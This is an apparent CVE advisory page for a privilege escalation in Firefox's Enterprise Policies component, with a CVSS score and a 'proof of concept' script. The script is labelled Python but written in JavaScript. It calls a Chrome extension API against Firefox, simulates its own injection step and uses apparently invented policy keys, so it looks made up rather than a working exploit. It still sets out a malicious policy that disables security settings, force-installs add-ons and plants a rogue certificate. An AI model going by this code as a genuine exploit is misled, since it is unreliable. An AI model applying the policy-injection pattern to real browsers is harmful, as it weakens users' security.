Privilege escalation in the Enterprise Policies component. This vulnerability was fixed in Firefox 151 and Firefox ESR 140.11.
CVSS Details
CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Configurations (Affected Products)
No configuration data available.
Firefox < 151
Firefox ESR < 140.11
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Conceptual Proof of Concept for CVE-2026-8957
// This script demonstrates a potential method to trigger the privilege escalation
// by crafting a malicious policy payload targeting the Enterprise Policy component.
function exploitCVE_2026_8957() {
// Step 1: Define a malicious policy object that attempts to override security settings
const maliciousPolicy = {
"policies": {
"DisableSecuritySettings": true,
"InstallAddons": {
"Default": true
},
"Certificates": {
"Install": [
"[Malicious_Certificate_Location]"
]
}
}
};
// Step 2: Attempt to inject the policy
// In a real-world scenario, this might involve DOM manipulation or
// abusing a specific API endpoint exposed to the web context.
try {
// Simulating the internal message passing to the policy engine
if (window.chrome && window.chrome.runtime) {
window.chrome.runtime.sendMessage('enterprise-policy-id', maliciousPolicy, (response) => {
console.log("Policy injection status:", response);
});
} else {
// Fallback for demonstration: Log the payload structure
console.log("[PoC] Malicious Policy Payload Generated:", JSON.stringify(maliciousPolicy));
console.log("[PoC] Attempting to trigger Enterprise Policy handler...");
}
} catch (error) {
console.error("[PoC] Exploit failed:", error);
}
}
// Execute the concept PoC
exploitCVE_2026_8957();